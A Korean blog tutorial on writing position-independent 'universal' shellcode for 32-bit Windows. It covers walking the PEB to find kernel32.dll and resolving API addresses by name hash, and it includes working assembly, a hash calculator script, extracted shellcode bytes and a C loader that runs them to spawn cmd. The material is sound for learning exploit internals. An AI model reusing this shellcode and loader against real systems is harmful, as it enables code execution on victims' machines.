일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- c# 디렉토리 파일 조회
- c# 파일 IO
- c# 파일 읽기쓰기
- FTP Server/Client
- 최순실 악성코드
- Python GetProcAddress
- TCP Socket
- c# 외부 프로그램 실행
- 파이썬
- 한글 악성코드
- Mouse Over
- PowerShell
- hex2bin
- c# xml 파싱
- PPT Malware
- 파이썬 외부프로그램 실행
- c# 프로그램 종료
- Hover Action
- pdf 악성코드
- Python Win32 API
- 파워쉘
- Universal ShellCode
- anti vm
- c# 파일명 변경
- UDP Server/Client
- Python LoadLibrary
- vbscript
- TCP Server/Client
- VMware
- 악성코드
- Today
- Total
그냥저냥
Universal ShellCode 기초 정리 본문
* Universal Shellcode가 필요한 이유 - Shellcode에 사용되는 API 함수 주소는 부팅할 때마다 kernel32.dll의 상위 2바이트 주소값이 매번 바뀜 (XP의 경우 서비스팩 버전과 언어 환경이 동일하면 값은 일정함) - 같은 DLL 파일이라도 OS 버전과 서비스팩 버전에 따라 API 함수의 주소값이 달라질 수 있음 - 어떤 시스템에서도 Shellcode의 정상 동작을 위해 Universal Shellcode 제작이 필요 ex #1 > (재부팅 전 WinExec 함수의 주소) ex #2 > (재부팅 후 WinExec 함수의 주소) |
Universal ShellCode 제작을 위해 필요한 사전 용어 및 지식을 정리하고 넘어가자
1. TEB (Thread Environment Block)
- 현재 실행되고 있는 쓰레드에 대한 정보를 담은 구조체
- TEB 접근을 위해 FS 레지스터라는 특수 레지스터 사용
- TEB 구조체의 0x030 Offset 을 참조하여 PEB 주소를 얻을 수 있음
- (WinDbg 명령) !teb
2. PEB (Process Environment Block)
- 실행중인 프로세스에 대한 정보를 담은 구조체
- 프로세스와 관련된 여러 정보가 있으며, 여기서는 PE 정보와 관련된 필드인 LDR 구조체의 Offset 을 확인할 수 있음
- PEB 구조체의 0x00C Offset 을 참조하면 LDR 구조체의 주소를 얻을 수 있음
- (WinDbg 명령) dt _TEB 0x[TEB 주소]
3. PER_LDR_DATA
- 해당 구조체 내 0x014 Offset 에 존재하는 InMemoryOrderModuleList 는 프로세스의 PE 정보가 담긴 LDR_DATA_TABLE_ENTRY 구조체 시작주소를 얻을 수 있음
- LDR_DATA_TABLE_ENTRY 구조체는 이중연결리스트 (Double Linked List) 형태로 존재
- (WinDbg 명령) dt _PEB 0x[PEB 주소]
4. _LDR_DATA_TABLE_ENTRY
- 로드된 모듈에 대한 정보를 가짐
- 여기서는 모듈의 주소값 (DllBase) 을 확인
- InMemoryOrderModuleList의 FLINK를 따라가다보면 kernel32.dll 모듈의 _LDR_DATA_TABLE_ENTRY 구조체를 만날 수 있음
- (WinDbg 명령) dt _PEB_LDR_DATA 0x[LDR 주소]
5. Kernel32.dll 모듈 주소 확인
- InMemoryOrderModuleList 의 주소에서 -8 씩 빼면서 진행하다보면 Kernel32.dll의 주소를 알 수 있음
6. PE 헤더의 Export Table에서 해당 모듈이 어떤 API 함수를 Export 하는지 확인
- 아래 단계를 거쳐 특정 모듈에서 API 함수 주소를 찾을 수 있음
6-1. 함수명 배열 (AddressOfNames) 에서 원하는 함수의 이름과 해당 인덱스를 찾음
6-2. 서수 배열 (Ordinals) 에서 인덱스에 해당하는 서수 인덱스 값을 찾음
6-3. EAT 배열 (AddressOfFunctions) 에서 서수 인덱스에 해당하는 함수 Offset 확인
6-4. DLL Base 주소 + 함수 Offset 주소 = API 함수 주소
위 내용을 바탕으로 API 주소를 구해서 실행시키는 인어셈블리 코드를 제작할 수 있음
(소스코드는 책에서 발췌, 책:윈도우시스템해킹가이드, Cafe : http://cafe.naver.com/secuholic)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | #include "stdafx.h" void main() { __asm { jmp start get_func_addr: // get name table index loop_ent: inc edx // index++ lodsd // eax = *esi , esi += 4 pushad add ebx, eax mov esi, ebx xor eax, eax xor edi, edi hash: lodsb // eax = *esi, esi += 1 add edi, eax // edi += char test al, al jnz hash mov [ebp+0x10], edi popad cmp [ebp+0x10], edi // cmp export name hash, function hash jne loop_ent // get WinExec address movzx edx, word ptr [ecx+edx*2-2] // Ordinal mov edi, [ebp+0x18] mov esi, [edi+0x1c] // Export Address Table mov edi, ebx add esi, edi // Address Table add edi, [esi+edx*4] mov eax, edi // edi = 함수주소 리턴 ret start: // cmd xor eax, eax mov [ebp+0xc], eax mov [ebp+0xc], 0x63 // c mov [ebp+0xd], 0x6d // m mov [ebp+0xe], 0x64 // d // kernel32.dll base address mov eax, fs:[eax+0x30] // PEB mov eax, [eax+0xc] // PEB_LDR_DATA mov eax, [eax+0x14] // .exe InMemoryOrderModuleList mov ebx, [eax] // ntdll.dll InMemoryOrderLinks mov ebx, [ebx] // kernel32.dll InMemoryOrderLinks mov ebx, [ebx+0x10] // ebx = kernel32.dll base address // export table mov edi, [ebx+0x3c] // PE Header add edi, ebx mov edi, [edi+0x78] add edi, ebx mov [ebp+0x18], edi // Export Directory mov esi, [edi+0x20] // Export Name Table add esi, ebx mov ecx, [edi+0x24] add ecx, ebx // Ordinal Table xor edx, edx pushad // get WinExec addr xor edi, edi mov di, 0x2b3 // WinExec API Hash call get_func_addr mov [ebp+0x20], eax popad // get ExitProcess addr xor edi, edi add di, 0x479 // ExitProcess API Hash call get_func_addr mov [ebp+0x24], eax // call WinExec xor eax, eax // eax = 0 push eax lea eax, [ebp+0xc] // cmd push eax call [ebp+0x20] // WinExec('cmd',0) xor eax,eax push eax call [ebp+0x24] // ExitProcess(0) } } | cs |
위 코드중 69번 라인, 76번 라인을 보면 각각 0x2b3, 0x479 값이 들어가는데, 이는 API 함수의 Hash 값이다.
"WinExec" 등 비교적 짧은 이름의 함수는 상관없을지 몰라도 "AcquireSRWLockExcLusive" 같은 긴 이름을 가진 함수를 찾아야 할 경우 코드가 길어지거나 연산 속도가 느려질 수 있다. 또는 DLL 모듈 내 수백개의 함수가 존재할 수도 있기 때문에 문자열 비교 방식 보다 API 함수의 Hash 값 비교가 더 효율적이게 된다.
API 함수에 대한 Hash 값은 API 함수명 문자의 아스키값을 더해서 계산하면 된다.
아래 코드는 API 함수의 Hash 값을 구해주는 파이썬 코드이므로 참고하자.
* pefile 파이썬 모듈 설치 - API 함수의 Hash 계산 시 파이썬의 pefile 모듈을 이용하므로, 설치가 안되어있는 경우엔 아래처럼 설치하자 - 명령 : pip install pefile |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | import sys import pefile def usage(): print " Usage) %s [dll]" % sys.argv[0] print " ex) %s kernel32.dll" % sys.argv[0] def get_hash(srcstr): hashstr = 0 for i in srcstr: hashstr += ord(i) return hex(hashstr) print " # Hash Caculator for Universial Shellcode v1.0" if len(sys.argv) < 2: usage() sys.exit() pe = pefile.PE(sys.argv[1]) print "%-10s\t%-35s\t%-5s\t%-6s" % ("Address", "Name", "Ordinal", "Hash") for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols: print "%-10s\t%-35s\t%-5s\t%-6s" % (hex(pe.OPTIONAL_HEADER.ImageBase + exp.address), exp.name, exp.ordinal, get_hash(exp.name)) | cs |
해당 파이썬 스크립트를 이용하여 DLL 모듈 내 API 함수에 대한 Hash 값을 알아낼 수 있다.
이제 제작된 인어셈블리 코드를 실행시켜서 잘 동작되는지 확인한 후 쉘코드의 바이트 코드를 추출해내자.
아래는 컴파일 후 디스어셈블리 창으로 이동하여 추출할 쉘코드의 바이트 코드 영역을 나타낸 것이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | 0041139E EB 30 jmp start (4113D0h) loop_ent: 004113A0 42 inc edx 004113A1 AD lods dword ptr [esi] 004113A2 60 pushad 004113A3 03 D8 add ebx,eax 004113A5 8B F3 mov esi,ebx 004113A7 33 C0 xor eax,eax 004113A9 33 FF xor edi,edi hash: 004113AB AC lods byte ptr [esi] 004113AC 03 F8 add edi,eax 004113AE 84 C0 test al,al 004113B0 75 F9 jne hash (4113ABh) 004113B2 89 7D 10 mov dword ptr [ebp+10h],edi 004113B5 61 popad 004113B6 39 7D 10 cmp dword ptr [ebp+10h],edi 004113B9 75 E5 jne loop_ent (4113A0h) 004113BB 0F B7 54 51 FE movzx edx,word ptr [ecx+edx*2-2] 004113C0 8B 7D 18 mov edi,dword ptr [ebp+18h] 004113C3 8B 77 1C mov esi,dword ptr [edi+1Ch] 004113C6 8B FB mov edi,ebx 004113C8 03 F7 add esi,edi 004113CA 03 3C 96 add edi,dword ptr [esi+edx*4] 004113CD 8B C7 mov eax,edi 004113CF C3 ret start: 004113D0 33 C0 xor eax,eax 004113D2 89 45 0C mov dword ptr [ebp+0Ch],eax 004113D5 C6 45 0C 63 mov byte ptr [ebp+0Ch],63h 004113D9 C6 45 0D 6D mov byte ptr [ebp+0Dh],6Dh 004113DD C6 45 0E 64 mov byte ptr [ebp+0Eh],64h 004113E1 64 8B 40 30 mov eax,dword ptr fs:[eax+30h] 004113E5 8B 40 0C mov eax,dword ptr [eax+0Ch] 004113E8 8B 40 14 mov eax,dword ptr [eax+14h] 004113EB 8B 18 mov ebx,dword ptr [eax] 004113ED 8B 1B mov ebx,dword ptr [ebx] 004113EF 8B 5B 10 mov ebx,dword ptr [ebx+10h] 004113F2 8B 7B 3C mov edi,dword ptr [ebx+3Ch] 004113F5 03 FB add edi,ebx 004113F7 8B 7F 78 mov edi,dword ptr [edi+78h] 004113FA 03 FB add edi,ebx 004113FC 89 7D 18 mov dword ptr [ebp+18h],edi 004113FF 8B 77 20 mov esi,dword ptr [edi+20h] 00411402 03 F3 add esi,ebx 00411404 8B 4F 24 mov ecx,dword ptr [edi+24h] 00411407 03 CB add ecx,ebx 00411409 33 D2 xor edx,edx 0041140B 60 pushad 0041140C 33 FF xor edi,edi 0041140E 66 BF B3 02 mov di,2B3h 00411412 E8 89 FF FF FF call loop_ent (4113A0h) 00411417 89 45 20 mov dword ptr [ebp+20h],eax 0041141A 61 popad 0041141B 33 FF xor edi,edi 0041141D 66 81 C7 79 04 add di,479h 00411422 E8 79 FF FF FF call loop_ent (4113A0h) 00411427 89 45 24 mov dword ptr [ebp+24h],eax 0041142A 33 C0 xor eax,eax 0041142C 50 push eax 0041142D 8D 45 0C lea eax,[ebp+0Ch] 00411430 50 push eax 00411431 FF 55 20 call dword ptr [ebp+20h] 00411434 33 C0 xor eax,eax 00411436 50 push eax 00411437 FF 55 24 call dword ptr [ebp+24h] | cs |
쉘코드의 바이트 코드를 추출하여 아래 C언어 코드로 작성한 후 실행시켜보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #include <stdio.h> #include <windows.h> char shellcode[] = "\xEB\x30\x42\xAD\x60\x03\xD8\x8B\xF3\x33\xC0\x33\xFF\xAC\x03\xF8\x84\xC0\x75" "\xF9\x89\x7D\x10\x61\x39\x7D\x10\x75\xE5\x0F\xB7\x54\x51\xFE\x8B\x7D\x18\x8B" "\x77\x1C\x8B\xFB\x03\xF7\x03\x3C\x96\x8B\xC7\xC3\x33\xC0\x89\x45\x0C\xC6\x45" "\x0C\x63\xC6\x45\x0D\x6D\xC6\x45\x0E\x64\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x40" "\x14\x8B\x18\x8B\x1B\x8B\x5B\x10\x8B\x7B\x3C\x03\xFB\x8B\x7F\x78\x03\xFB\x89" "\x7D\x18\x8B\x77\x20\x03\xF3\x8B\x4F\x24\x03\xCB\x33\xD2\x60\x33\xFF\x66\xBF" "\xB3\x02\xE8\x89\xFF\xFF\xFF\x89\x45\x20\x61\x33\xFF\x66\x81\xC7\x79\x04\xE8" "\x79\xFF\xFF\xFF\x89\x45\x24\x33\xC0\x50\x8D\x45\x0C\x50\xFF\x55\x20\x33\xC0" "\x50\xFF\x55\x24"; void main(){ int* shell = (int*)shellcode; __asm{ jmp shell }; } | cs |
아래는 결과 화면
결과 #1. Windows XP
결과 #2. Windows 7
'System' 카테고리의 다른 글
ssdeep + Fuzzy Hash (0) | 2016.08.12 |
---|---|
DKOM (프로세스 은닉) (0) | 2016.07.31 |
BootKit 동작과정 (보류) (0) | 2016.07.31 |
CPU Ring Level (0) | 2016.07.31 |